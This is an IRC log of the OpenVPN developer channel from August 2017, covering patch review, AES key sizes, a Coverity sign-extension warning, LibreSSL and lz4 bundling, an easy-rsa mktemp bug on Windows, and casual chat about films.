<https://github.com/OpenVPN/openvpn/commit/4a9d1d70d5b0ff04dbf26ba7e679733a54c694b6> || remove the --disable-multi config switch <https://github.com/OpenVPN/openvpn/commit/299a8f8f1aa10b5b0d006ae77c26de33d55d4a25> || ntlm: avoid breaking anti-aliasing rules < 10:39 <@syzzer> \o/ 10:51 < slypknot> dazo: how about a deal ? you apply the patch correcting the manual as is and I'll submit another patch correcting all the escapes ... 12:17 <@dazo> slypknot: nah, give me all in one go :) saves my time :) 12:18 <@dazo> syzzer: question! why is AES-256-GCM better than AES-128-GCM? Considering this (now ageing) claim from Bruce Schneier https://www.schneier.com/blog/archives/2011/08/new_attack_on_a_1.html 12:18 <@vpnHelper> Title: New Attack on AES - Schneier on Security (at www.schneier.com) 13:41 <@cron2> re... you have been busy again... 13:45 < slypknot> ok .. all in one it is 14:48 < Luqman> Hello 14:49 < Luqman> I'm setting up a VPN server and wanted to clear up some confusion. When my client connects to the server it seems to get a random address for the DHCP server? 14:49 < Luqman> something like 10.8.0.x which doesn't refer to any host on the network? 15:04 < slypknot> Luqman: start here: https://openvpn.net/index.php/open-source/documentation/howto.html 15:04 <@vpnHelper> Title: HOWTO (at openvpn.net) 15:05 < slypknot> 10.8.0.x is the default example subnet 15:05 < slypknot> this channel is for developers not support 15:05 < slypknot> goto #openvpn 15:08 <@syzzer> dazo: basically because a quantum-search (Grover) on an AES key takes square root of the original time, so "just" 2^64, instead of 2^128. 15:11 <@syzzer> dazo: ah, wait, you probably mean the related key attacks (different link): https://www.schneier.com/blog/archives/2009/07/another_new_aes.html 15:11 <@vpnHelper> Title: Another New AES Attack - Schneier on Security (at www.schneier.com) 15:13 <@syzzer> related key attacks are not really something you have to worry about, at least not in the typical 'generate a random key, use it to encrypt stuff' scenario 15:13 <@syzzer> Thomas Pornin has a nice explanation on the crypto stackexchange: https://crypto.stackexchange.com/questions/5118/is-aes-256-weaker-than-192-and-128-bit-versions 15:13 <@vpnHelper> Title: encryption - Is AES-256 weaker than 192 and 128 bit versions? - Cryptography Stack Exchange (at crypto.stackexchange.com) 15:45 <@syzzer> so, I'm wondering, should we still allow --no-replay for setups without any crypto or authentication? Because in that case replay protection doesn't really do anything but add overhead... 15:45 <@syzzer> but is that corner case worth keeping the option around? 16:27 <@syzzer> allow for no-crypto: 4 files changed, 38 insertions(+), 25 deletions(-) 16:27 <@syzzer> vs 16:27 <@syzzer> remove completely: 9 files changed, 64 insertions(+), 138 deletions(-) 16:29 <@syzzer> I think the cleanup is worth the 4 bytes overhead for those few users that disable all authentication and encryption 16:29 <@syzzer> (or 8 bytes for p2p setups) 16:40 <@ordex> prune it alll 16:51 <@ordex> anybody knows why P2MP has to depend on HAVE_GETTIMEOFDAY_NANOSECONDS ? what is it exactly used for and why can't we work without it ? 16:52 <@ordex> on top of that, is there really any machine not supporting it? maybe we should make it a configure check and stop if not there ? 19:06 < slypknot> nanosecond .. sounds reasonable 22:03 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Read error: Connection reset by peer] 22:13 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:13 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Log closed Wed Aug 16 23:45:07 2017 --- Log opened Thu Aug 17 07:43:08 2017 07:43 -!- Irssi: #openvpn-devel: Total of 26 nicks [7 ops, 0 halfops, 2 voices, 17 normal] 07:43 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 07:43 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 07:43 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 07:43 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 07:47 <@vpnHelper> RSS Update - tickets: #439: error in down script can block openvpnsrv.exe <https://community.openvpn.net/openvpn/ticket/439> || #399: Issue with register-dns in Windows 8.1 <https://community.openvpn.net/openvpn/ticket/399> || #538: no PIN prompt with PKCS11 when systemd is enabled <https://community.openvpn.net/openvpn/ticket/538> || #259: received corrupted data from proxy server <https://community.openvpn.net/openvpn/ticket/259 08:44 <@dazo> ordex: I think HAVE_GETTIMEOFDAY_NANOSECONDS is related to this old commit ... 3d163bc544ab9dfc62d9a2c865f8abb865bf6eb3 08:47 <@ecrist> that's a new one 08:47 <@ecrist> 23:45:07 [Freenode] -!- You are banned from this server- Spam is off topic on freenode. Email kline@freenode.net if in error (2017/8/17 04.42) 08:47 <@ecrist> 23:45:07 [Freenode] -!- ERROR Closing Link: freebsd/contributor/openvpn.ecrist (K-Lined) 08:48 <@dazo> ouch 08:57 <@ecrist> right? Not sure why, I was AFK and there's nothing in the logs to show I was being spammy 09:05 < slypknot> ecrist: look ... 05:41:58 <-- | slypknot (~slypknot@unaffiliated/kettlecalling) has quit (K-Lined) 09:05 < slypknot> must be an op err 09:05 <@ecrist> lol, oops 09:06 < slypknot> :) 09:06 <@ecrist> although, *you* I can see getting a k-line. ;) 09:06 < slypknot> only myself .. not yours 09:07 < slypknot> what's your TZ? 09:07 <@ecrist> CDT 09:07 <@ecrist> 09:07:27 [Freenode] [ctcp(slypknot)] TIME 09:07 <@ecrist> 09:07:27 [Freenode] CTCP TIME reply from slypknot: Thu, 17 Aug 2017 15:04:19 +0100 09:07 <@ecrist> slypknot: you can often run /ctcp <user> time 09:08 <@ecrist> within IRC 09:09 < slypknot> cool :) 09:10 < slypknot> in global notices freenode are taking drastic action against spammers of child porn apparently 09:11 < slypknot> ecrist: did you see that ? 09:11 <@ecrist> 09:08:25 [Freenode] slypknot [~slypknot@unaffiliated/kettlecalling] requested CTCP TIME from ecrist: 09:12 < slypknot> No this : 09:13 < slypknot> christel (christel@freenode/staff/exherbo.christel): [Global Notice] In light of the wave of spambots sending links to child pornography images, we have chosen to update our default umodes to include +R (blocking messages from unregistered users). To allow such messages, /mode yournick -R. Apologies for the disruption and the inconvenience. 09:14 < slypknot> there were three related messages .. i guess they got super paranoid ! 09:14 <@ecrist> ah, neat. that was probably the source of the k-line then. 09:14 < slypknot> i reckon :) 09:15 < slypknot> good .. kill spammers and destroy peado shit ! 09:16 < slypknot> lol @ " To allow such messages,/mode yournick -R" .. to announce your intentions !! 09:58 <@vpnHelper> RSS Update - gitrepo: rename mroute_extract_addr_ipv4 to mroute_extract_addr_ip <https://github.com/OpenVPN/openvpn/commit/3b38c43b8d7aa22b3df12029ff43e0414891e48c> || Use consistent version references <https://github.com/OpenVPN/openvpn/commit/500854c3fc956b274790991e4d6771ad9bf6f641> || Highlight deprecated features <https://github.com/OpenVPN/openvpn/commit/6e4a817589de85481a5cbfe5bcae4fa872c9fb5d> 10:02 <@syzzer> dazo: got time left to apply this one? https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg15011.html 10:02 <@vpnHelper> Title: [Openvpn-devel] [PATCH] crypto: create function to initialize encrypt and decrypt key (at www.mail-archive.com) 10:19 <@ecrist> I got an email back. Basically, "yeah, our k-line was cast a bit wider than we intended." 10:22 <@plaisthos> dazo: should we also document our removed, no longer needed options on the wiki? 10:22 <@plaisthos> e.g. max-routes and tun-ipv6? 10:23 <@dazo> plaisthos: That's my intention, but I didn't try to dig up anything we've already removed in 2.3 or older 10:23 <@plaisthos> tun-ipv6 is 2.4 :) 10:23 <@dazo> ahh! well, there you go :) 10:23 <@plaisthos> okay adding 10:24 <@dazo> the wiki can probably be grouped a bit better ... with sections like "Planned to be removed", "Removed in development" and "Completely removed" ... or something like that 10:24 <@plaisthos> any sorting I should use? 10:24 <@dazo> plaisthos: no, not really ... I just started and appended ... the list order is fairly random, based on what I looked at at the moment I wrote it 10:25 <@dazo> syzzer: sure, I can apply that one too :) It just missed my radar for some reasons 10:27 <@dazo> now, that's an interesting twist ... the patch on the ML carries and Acked-By line already :) 10:29 <@plaisthos> dazo: and yes I was blind 10:31 <@dazo> :) 10:34 <@vpnHelper> RSS Update - gitrepo: crypto: create function to initialize encrypt and decrypt key <https://github.com/OpenVPN/openvpn/commit/974513ea64020c956b531b1cabd76fdbac6655d8> 10:34 <@syzzer> dazo: yeah, the process for that was a bit weird p 10:35 <@dazo> well, I don't mind it ... perhaps we should open up for this working method as well? 10:35 <@dazo> just need to tweak the git ack-am scripts slightly to detect if an acker is listed or not 11:04 <@dazo> wtf is happening in Barcelona now!? :( 11:33 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 248 seconds] 12:28 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 12:28 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:51 <@cron2> dazo: wtf *is* happening? Vacation, no limited IP volume, no news access 14:35 <@cron2> ah, I can see some ripples on other lists now 21:20 <@ordex> aloha! 22:03 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Read error: Connection reset by peer] 22:13 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:13 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Fri Aug 18 2017 03:16 <@syzzer> dazo: I don't see the benefit. Someone has to author and someone has to ack. Both have to confirm publicly on the list. Either way, two mails. So "author send mail, reviewer sends ack" seems like the sensible way to do it :) 03:16 <@syzzer> (but, if you don't mind, I don't mind ;-) ) 03:35 <@ordex> morning syzzer :) 03:46 <@dazo> syzzer: I agree ... but if a reviewer finds it easier to "git am" the patch, review, test and then have its own process/script to add Acked-By: and do git send-email, that can work quite well too ... not a big time saver on cron2 or my side, so in this case convenience of the reviewer is fair to me 03:50 <@syzzer> well, techincally you'd have to verify that the patch hasn't changed, or that the changes are okay. 03:50 <@syzzer> morning, ordex :) 03:50 <@syzzer> or, evening 03:53 <@ordex> I agree with syzzer. better to ACK on the ml, unless the author got the ACK of a reviwer previously (i.e. working together or the patch was part of a patchset and it ha snot been touched since the previous version) 03:53 <@ordex> dazo: and the reviewer's script can easily send an automatic ACK to the patch by just giving it the message-id ;) 03:54 <@dazo> ordex: very true :) 04:16 <@ordex> dazo: btw, great that you are cleaning up the ml from pending patches! 04:17 <@dazo> :) 04:17 <@dazo> well, the backlog had grown quite longer than I anticipated :) 04:20 <@syzzer> dazo: I have one more already-acked patch for you ;) 04:20 <@syzzer> https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg15176.html 04:20 <@vpnHelper> Title: [Openvpn-devel] [PATCH] Add coverity static analysis to Travis CI config (at www.mail-archive.com) 04:23 <@dazo> syzzer: you want that for both master and release/2.4? 04:32 * dazo presumes so, based on the last commit msg paragraph 04:34 <@syzzer> yep :) 04:36 <@dazo> good :) all pushed! 04:36 <@dazo> and now I need to really do some openvpn3 stuff :) 04:37 <@syzzer> \o/ 04:41 <@vpnHelper> RSS Update - gitrepo: Add coverity static analysis to Travis CI config <https://github.com/OpenVPN/openvpn/commit/4a05f15c9aafe314ae4d3642813ebf234c09276e> 04:53 <@syzzer> ordex: woops, coverity is not happy with the strict aliasing fix 04:54 <@syzzer> maybe we should just have memcpy()'d after all... 04:58 <@ordex> syzzer: aha! what does it say exactly ? 04:59 <@ordex> is it again antialiasing problem ? because now we access the memory byte by byte .. 04:59 <@syzzer> nope, sign extension 04:59 <@ordex> mh meaning ? 04:59 <@syzzer> because of C's integer promotion rules 04:59 <@syzzer> you have access to coverity, right? 04:59 <@ordex> ah and the variable flags is unsigned 04:59 <@ordex> ah yes I do 05:00 <@ordex> but I haven't received any notification 05:00 <@ordex> ah there it is 05:00 <@syzzer> nice to see that the travis-coverity thing is working though! :D 05:01 <@ordex> so it's travis that pushed the build to coverity? 05:01 <@ordex> :) 05:01 <@ordex> syzzer: I think either we cast to unsigned long or we convert the variable to simple int 05:02 <@ordex> no ? 05:02 <@ordex> or you prefer to go with the memcpy ? 05:03 <@ordex> and actually .. I think that the shift I have written, should also work on BE, because the mathematical operation is converted to the right endianness..although nobody cares, not even the NTLM author 05:03 <@ordex> :P 05:48 <@syzzer> ordex: yeah, this does fix endianness :) 05:49 <@syzzer> but you'd need to cast add four shifts to unsigned... 05:49 <@syzzer> *all 05:51 <@ordex> why? can't we just cast the final result ? 05:51 <@ordex> they are all bitwise operations, so the sign should not matter, no? 05:56 <@syzzer> buf2[x] is an unsigned char 05:57 <@syzzer> (buf2[x] << 24) is cast to int, which is (iiuc) where the sign extension happends 05:58 <@syzzer> or, more exact, 'buf2[x]' is promoted to int, then promoted again to uint64_t before the "<< 24" 06:12 <@ordex> mh 06:12 <@ordex> my understanding is that unsigned long is 64bit, while int (that is the result of the implicit cast is 32bit) 06:13 <@ordex> so coverity is complaining that the various int pieces OR'd together (and resulting in another int) are then implicitly casted to unsigned long (64bit) and thus creating the sign extension 06:14 <@ordex> so the sign extension should be in the assignment to flags (unsigned long, hence larger and sign no sign) 06:14 <@ordex> but I may have got it wrong 06:18 <@syzzer> Coverity basically says it: "buf2[23UL]" with type "uint8_t" (8 bits, unsigned) is promoted in "buf2[20UL] | (buf2[21UL] << 8) | (buf2[22UL] << 16) | (buf2[23UL] << 24)" to type "int" (32 bits, signed), then sign-extended to type "unsigned long" (64 bits, unsigned). 06:19 <@ordex> righ 06:19 <@syzzer> (this is not really a problem for our code, btw. just getting the definitions straigth.) 06:20 <@ordex> the last part is what creates the problem, no? that's why I thought that a unique explicit cast before the assignment should solve the issue 06:20 <@ordex> (yeah, it's just coverity that think it is suspicious, but it can't aunderstand the name of the file this code is in) 06:20 <@syzzer> ah, you're right there. Only the << 24 one is a problem. 06:21 <@ordex> why?it still fits the 32 bits 06:21 <@ordex> the result of that << is still int, no? what's the difference with the other << ? 06:24 <@syzzer> it doesn't fit 'int' because it has 1 sign bit and 31 'number' bits 06:25 <@syzzer> but it needs 32 number bits 06:25 <@ordex> ah 06:25 <@ordex> didn't know this is a problem 06:26 * ordex tests something 06:28 * ordex still doesn't get that 06:28 <@ordex> I don't think the bitwise operation have any real problem with the sign bit. they will just treat it as a normal bit 06:28 <@ordex> and actually i don't see coverity complaining about that 06:29 <@ordex> ah 06:29 <@ordex> "buf2[23UL]" : this is the last << 24 06:29 <@ordex> well, it's legal but suspicious, now I get that 06:30 <@ordex> imho if we use "unsigned int" for flag it should not complain anymore 06:31 <@ordex> is there a way to "test" a solution without submitting a build? 06:43 <@syzzer> ordex: you can manually submit builds to coverity 06:43 <@syzzer> or you could try to get your personal openvpn fork registered as a coverity project 08:36 <@dazo> [Friday] https://pbs.twimg.com/media/DHgqrosUMAAvbZg.jpg:large 08:49 <@plaisthos> :) 10:11 < slypknot> openvpn.8 is done ! 10:33 <@syzzer> slypknot: nice! 10:40 < slypknot> u sed'd the crap out of it =] 10:41 < slypknot> i* 15:05 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 15:32 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 15:32 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:47 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 15:48 <@ordex> morning ! 15:51 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 15:51 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:58 < slypknot> ordex: good evening 16:18 <@ordex> :) 16:26 <@vpnHelper> RSS Update - tickets: #927: Incorrect comment syntax used in easy-rsa "vars" script <https://community.openvpn.net/openvpn/ticket/927> 16:54 < slypknot> ^ sticks n stoners 19:41 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 20:02 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 20:02 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Sat Aug 19 2017 00:08 <@ordex> syzzer: no. I can't push builds to coverity, I can only see the defects 00:13 <@ordex> actually I don't even see the defects - I get an empty list. I only received the email - not sure how it works 03:37 <@ordex> syzzer: " On the other hand, it is useful to know when libressl builds break." << did you mean useless? 03:37 <@ordex> or you really mean that it is useful even though we don't support it ? 03:38 <@syzzer> ordex: no, most of the times we break libressl builds, the fixes are trivial 03:38 <@ordex> oh ok 03:38 <@syzzer> we do accept patches to fix libressl builds, if they're clean enough 03:38 <@syzzer> but we promise nothing 03:38 <@ordex> but then, doesn't it mean we are supporting it somehow ? 03:38 <@ordex> although we have no maintainer for that .. 03:39 <@ordex> mh but this means that we normally don't fix libressl by ourselves 03:39 <@ordex> okok 03:39 <@syzzer> yeah, this is why I'm on the fence. I'm not going to support another crypto lib. And in particular not one that's basically openssl-but-even-weirder. 03:40 <@syzzer> libressl was awesome, because they really motivated companies using openssl and openssl devs to pick up the pace 03:41 <@syzzer> but now that openssl is improving at a rapid pace, I don't see the right for libressl to exist anymore 03:41 <@ordex> I see 03:41 <@ordex> why is it still actively developed then? do you know who's behind ? 03:41 <@syzzer> and their close-but-not-really-openssl API is a real PITA 03:42 <@syzzer> the OpenBSD guys 03:42 <@syzzer> they suffer severely from the not-invented-here syndrome 03:42 <@ordex> :D 03:42 <@ordex> so libressl was born mainly as a BSD lib? 03:42 <@ordex> well, once it works there, it works on linux too I guess 03:42 <@syzzer> yes, and everything else is basically an port 03:43 <@ordex> ah ok 03:44 <@syzzer> (don't get me wrong btw, there's a lot of good stuff coming from the openbsd people. but in this case I think they should realize that this initiative is no longer useful.) 03:45 <@ordex> yeah 07:26 < slypknot> syzzer: what was that URL for writing a goot git commit message ? 07:26 < slypknot> good* 11:16 < slypknot> anybody around ? 11:16 < slypknot> how do I get git send-email to include the "Signed off by" field ? 11:18 < slypknot> or do I have to add it manually ? 11:19 * slypknot back soon .. 11:47 < slypknot> oops .. almost forgot to do format-patch 13:37 < slypknot> git is aptly ** named 13:47 <@ordex> slypknot: the signed-off-by is part of the commit message, therefore it must be added when you create the commit (git commit) and you can use -s to have it added automatically 14:22 < slypknot> ordex: hi there :) 14:22 < slypknot> yeah, i am working through it 14:22 <@ordex> :) 14:22 < slypknot> i have a really wierd happening here .. 14:23 < slypknot> I do: git send-email fill in the addresses and what not and then it says it is OK .. but I know i has not sent anything cos I have not given it a password 14:24 < slypknot> what happens next ? 14:35 <@ordex> uhm 14:35 <@ordex> weird 14:36 <@ordex> do you have the smtpuser set ? 14:45 < slypknot> yes .. don't worry about it .. i'll get there eventually ;) 14:51 < slypknot> ordex: do you know if git send-email saves a copy of the email it thinks it sent ? 14:54 < slypknot> nvm .. found it 16:15 < slypknot> ordex: i did not have the smtp server set :facepalm: --- Day changed Sun Aug 20 2017 04:19 <@syzzer> slypknot: https://chris.beams.io/posts/git-commit/ 04:19 <@vpnHelper> Title: How to Write a Git Commit Message (at chris.beams.io) 04:43 <@ordex> slypknot: :facepalm: 05:13 <@ordex> syzzer: about *-inline.h I remember not long ago that I tried to merge them and something exploded (and it was clear why). But after re-looking at the code today I don't see such requirement anymore 05:13 <@ordex> syzzer: I'll send a patch to merge those files first and then resend a modified version of "ensure function declarations are compiled with their definitions" 05:13 <@ordex> thanks for reviewing :) 05:15 <@syzzer> ordex: sounds good! 10:15 < slypknot> are there any specific things which cause this : P_CONTROL_HARD_RESET_SERVER_V2 ? 18:38 <@ordex> slypknot: that is usually sent when the server wants to reset the connection or to reply to an HARD_RESET from the client 18:55 <@ordex> and morning btw 19:25 < slypknot> ordex: good morning :) 19:25 <@ordex> :) 19:26 < slypknot> don't worry about that reset stuff .. turns out it is was very old version 19:27 < slypknot> ig2go2 sleep .. have a good day :) 19:29 <@ordex> goodnight! --- Day changed Mon Aug 21 2017 07:41 < slypknot> ecrist: what *is* going on with easy-rsa-3x ? 09:35 <@plaisthos> newest victim of OpenSSL 1.1.0. A user that picked a very strange auth diegst (edcsa-with-sha1). Seem that OpenSSL dropped that thing 09:40 <@ordex> plaisthos: at least the victmis seems to less than expected :) 10:12 <@ordex> has anybody ever seen this? https://www.codacy.com/ 10:12 <@vpnHelper> Title: Automated code reviews & code analytics | Codacy (at www.codacy.com) 10:12 <@ordex> it can hook into GH and checks codestyle and other similar static things 10:17 <@ordex> too bad these interesting things are all closed source (aka stratuppers that want to become the next facebuuk) 10:19 <@dazo> I wonder how true the "Loved by Developers" labelling is ... it seems every new cool solution any developer looks at once gets that label 10:20 <@dazo> not saying it isn't true .... but makes you wonder 10:54 < slypknot> dazo: how about the openvpn.8 patch ? is it still not good ? 10:57 <@plaisthos> dazo: we had two people saying I love it 11:35 <@dazo> slypknot: haven't had time to look at it, but the quick look I did was promising 11:36 <@dazo> slypknot: I'm gonna cut the script from the commit log though 11:36 <@dazo> (It's anyway referenced from the commit message to the mail thread) 11:37 < slypknot> dazo: of course cut the script from the commit .. I included it to make it easier to verify the patch itself .. anyway, it it loos ok then I'll wait, no rush, just wanted to get any initial thoughts 11:38 < slypknot> if it looks* 15:58 <@ecrist> slypknot: I'm going to push a release tonight 15:59 < slypknot> ecrist: i saw the mail ;) 16:00 < slypknot> i was soooo close to making a comment :D 16:00 < slypknot> you on holiday then ? 16:02 <@ecrist> no, but it's been on my list and today is as good as any day 16:02 < slypknot> go for it 16:09 <@ecrist> I appreciate your permission. 16:48 < slypknot> ^^ right 16:49 < slypknot> i have no say .. i have not even hassled you .. i just answered one comment on github 18:18 <@ecrist> dazo/cron2/someone? around? 18:26 < slypknot> i am someone .. 18:27 < slypknot> wassup ? 18:41 <@ecrist> 3.0.2 is released 18:41 <@ecrist> I think I did it right. 18:46 < slypknot> i can checkif you like 18:46 < slypknot> i'll check windows first 18:54 < slypknot> explorer crashed as usual .. nothing to do with easyrsa 18:58 < slypknot> easyrsa shell is up 19:02 < slypknot> mktemp failed 19:02 < slypknot> might be me .. have not used windows for sometime 19:08 < slypknot> ecrist: ./easyrsa [1254]: mktemp not found 19:09 < slypknot> i am not convinced this was a good idea .. 19:21 < slypknot> it's still a ******* mess 19:23 < slypknot> 3.0.0-rc2 works but 3.0.1 and 3.0.2 don't 19:24 < slypknot> all defaults .. no vars file 19:25 < slypknot> i'll look tomorrow but expect complaints 19:29 <@ordex> aloha 19:30 < slypknot> mushi-mushi ;) 19:37 < slypknot> and asta maniana ! 19:51 <@ordex> hehe 19:52 <@ordex> mañana I think 19:52 <@ordex> :P 20:24 * slypknot can't fkn sleep 20:24 <@ordex> drink a beer :P 20:25 < slypknot> ecrist: easyrsa-3.0.0-rc2 does NOT use mktemp, where as 3.0.1 & 3.0.2 do .. but mktemp is not an included binary so easyrsa windows fails 20:26 < slypknot> ordex: there is a snoring thing beside me ! 20:26 <@ordex> aha! that's why :P 20:26 < slypknot> yeah 20:28 < slypknot> now i am gonna watch a film 20:28 < slypknot> or eat some cheese 20:28 < slypknot> or both! 20:30 <@ordex> :P 20:31 < slypknot> :PPPPPP 20:31 < slypknot> now i got cheese down my shirt ! 20:35 <@ordex> chinese cheese? that would not exist! 20:35 <@ordex> :D 20:40 < slypknot> huh ? 20:40 < slypknot> you lost me 20:41 < slypknot> ordex: know any good films ? 20:41 <@ordex> hm 20:41 <@ordex> if you wanna flip your mind you can watch Predestination 20:41 <@ordex> :D 20:41 <@ordex> I watched it last week 20:42 <@ordex> nothing super exciting but interesting :D 20:42 < slypknot> hmm .. not heard of that before .. googling 20:44 < slypknot> good reviews but i don't like ethan hawke 20:45 <@ordex> mah who cares :P you should watch it anyway 20:45 <@ordex> :D 20:46 < slypknot> blech ! "Poeple who liked this also like the Butterfly effect" .. people i would probably shoot 20:47 <@ordex> haha 20:47 <@ordex> :D 20:47 <@ordex> yeah might be related to that one 20:47 <@ordex> yesterday I watched collateral beauty 20:47 <@ordex> but it's a bit sad 20:48 <@ordex> with Will Smith 20:48 <@ordex> or you can watch Alien Covenant ;) 20:49 < slypknot> ahh yes .. the new alien 20:51 <@ordex> the new old alien 20:51 <@ordex> yes 20:52 < slypknot> yeah .. litterally "a bit long in the tooth by now" ;) 20:53 < slypknot> I actually read the original alien book .. remember books ? 20:56 < slypknot> you like sci-fi then ? did you ever see Tron Legacy (2010) ? 21:02 <@ordex> I saw part of the original Tron 21:03 <@ordex> but I gave up :D 21:03 <@ordex> not sure I watched the one from 2010 though 21:03 <@ordex> I don't like every sci-fi 21:04 < slypknot> i guess you are too young ;) 21:05 < slypknot> the original only really worked when it was first shown 21:05 < slypknot> but the new one is quite cool 21:05 <@ordex> ah tron legacy is a sequel 21:05 < slypknot> indeed 21:13 < slypknot> ordex: how did harry potter do over there ? 21:14 <@ordex> mah, not a fun here 21:14 <@ordex> but I Watched it at some point and I did not enjoy a bit 21:14 < slypknot> lol 21:14 <@ordex> but not a movie I would ask for 21:14 <@ordex> sorry 21:14 <@ordex> I did* enjoy it 21:14 <@ordex> -not 21:14 < slypknot> yeah .. i thought that would be the case 21:14 < slypknot> just curious 21:19 < slypknot> how about kung fu panda .. did that go down well ? 21:21 <@ordex> hehe yeah was funny 21:21 <@ordex> nothing exciting too 21:22 < slypknot> i bet you get fed uo of jackie chan films ;) 21:23 < slypknot> probably every xmas like we get Bond 21:23 < slypknot> old bond 21:25 <@ordex> haha 21:25 <@ordex> nah I don't like jackie's movies 21:26 < slypknot> exactly ;) 22:29 <@ecrist> slypknot: that sucks 22:29 <@ecrist> I'll look into it 22:39 <@ordex> dazo: FYI: we now have lz4-1.8.0 - we may really think about stop bundling our own version :P 23:08 <@ordex> incredible, gcc-7.1.0 does not spit out any new warning :] --- Day changed Tue Aug 22 2017 03:42 <@dazo> cron2: ^^^ what do you think about kicking out compat-lz4? To be honest, I don't really see why not .... And I'll send a new patch reworking the deprecated lz4 function call 03:43 <@dazo> ordex: is gcc-7.1.0 the final release? I'd see no new warnings plausible in an rc build :-P 03:45 <@ordex> :P yes it is released, not rc 04:49 <@ordex> mh I am stacking up patches for route.c .. I hope the stack won't grow too much :P 06:43 < CRCinAU> yay - making more work for people: https://bugzilla.kernel.org/show_bug.cgi?id=196729 ;) 06:43 <@vpnHelper> Title: 196729 System becomes unresponsive when swapping - Regression since 4.10.x (at bugzilla.kernel.org) 07:05 <@cron2> dazo: well, we're bundling it because lots of systems did not have the library and we did not want to add new build requirements. Since we have your new script, maintenance is not a big chore, so I do not see a pressing need to get rid of it. 07:17 <@dazo> cron2: which systems does not have lz4 today? 07:24 <@dazo> considering that 1.7.4 and 1.7.5 rebases have been in the review queue for quite some time already, and now 1.8.0 got released ... I think that demonstrates one of the the core challenge with such bundling .... and if a security issue is fixed in lz4, how do we ensure we're getting that included in our builds in a reasonable time (which also may demand an quick release from us as well) 07:25 <@dazo> If providing a bundled library, I think that should be enabled explicitly by a ./configure option .... not enabled by default as it is now 07:26 <@ecrist> slypknot: I'll figure out the mktemp issue and release a 3.0.3 today if I can muster the time. 07:31 < slypknot> ecrist: good luck :) 07:31 <@ecrist> I just need to write a mktemp function myself 07:32 < slypknot> so there is no binary mktemp for that suite of tools .. 07:32 < slypknot> maybe it is just missing ? 07:32 <@ecrist> no binary 07:32 < slypknot> dang 07:33 < slypknot> if you want to send me a preview I am happy to test on windows 07:33 <@dazo> probably not easily available in Windows ... in Linux, that's part of coreutils 07:33 <@dazo> (*BSD might have a similar package, installed by default) 07:34 < slypknot> ecrist: you could release it as an RC first .. 07:35 < slypknot> also, see the 3.0.0-rc2 .. that works on windows 07:35 <@ecrist> dazo: mktemp is part of *BSD base, been around about 20 years now 07:35 <@ecrist> slypknot: I know 3.0.0-rc2 works on windows 07:36 <@ecrist> you've told me 15 times already 07:36 < slypknot> ;) 07:37 <@dazo> slypknot: commit 100d9af3337b8c7a2677e671a5f1c39765c7d4c4 introduced mktemp ... 07:37 <@dazo> $ git tag --contains 100d9af3337b8c7a2677e671a5f1c39765c7d4c4 07:37 <@dazo> 3.0.0 07:37 <@dazo> 3.0.1 07:37 <@dazo> v3.0.0 07:37 <@dazo> v3.0.2 07:38 < slypknot> dazo: maybe that is wrong .. cos grep -E "mktemp" easyrsa = "" 07:39 < slypknot> version 3.0.0.-rc2 07:40 <@dazo> nope, 3.0.0-rc2 is before {v,}3.0.0 ... just telling you how to figure out when a particular commit was introduced, which is what ecrist probably already did 07:41 < slypknot> ok 07:41 < slypknot> thanks 07:41 < slypknot> i forgot the rcx comes before the release 07:41 <@ecrist> yeah. I was the one that merged the pull request. I failed to test it on Windows. 07:41 <@dazo> another useful trick ... git blame easyrsa3/easyrsa .... search for mktemp, and you have the commitish fairly quickly 07:41 <@ecrist> I haven't reverted it yet, because it's "the right" way to do it. I just need to make it work on Windows. 07:42 <@dazo> that's fair enough :) 07:47 <@dazo> btw ... novaflash updated this page pointing at 2.4 man page too ... https://openvpn.net/index.php/open-source/documentation/manuals.html 07:47 <@vpnHelper> Title: Manuals (at openvpn.net) 07:48 <@ecrist> hey, they're in order now 07:50 <@ecrist> I found a mktemp that works on windows 07:50 <@ecrist> I'm able to build keys with it. 07:50 <@ecrist> slypknot: do you know a specific way to trigger a failure? 07:51 < slypknot> ecrist: I just ran it with all defaults not even a vars file 07:51 < slypknot> ecrist: http://gnuwin32.sourceforge.net/packages/mktemp.htm 07:51 <@vpnHelper> Title: MkTemp for Windows (at gnuwin32.sourceforge.net) 07:52 < slypknot> does that help ? 07:52 <@ordex> dazo: cron2: in my opinion bundling libs is always a bad thing. it's just a way to make the whole package more prone to bugs. also in my system (gentoo) there are packages for which the pkg maintainer has added flags to prevent them from being built by including their own bundles. exactly to avoid sticking to that version - for any reason 07:53 <@ordex> having the bundle -> we have to think about what goes on and take action 07:53 <@ordex> no bundle -> we don't have to consider the problem at all 07:53 <@ordex> this is just the positive perspective I see form our side 07:53 <@ordex> my 2 hongkongcents 07:53 <@ordex> :) 07:54 < slypknot> ecrist: immediate failure on build-ca 08:02 <@dazo> [bundling] - this is a fairly well written summary https://fedoraproject.org/wiki/Bundled_Libraries (and you'll find similar ones for Gentoo, Debian, etc, etc) 08:02 <@vpnHelper> Title: Bundled Libraries - FedoraProject (at fedoraproject.org) 08:05 <@ecrist> slypknot: I've pushed v3.0.3 to github 08:05 <@ecrist> if you can test, I'll 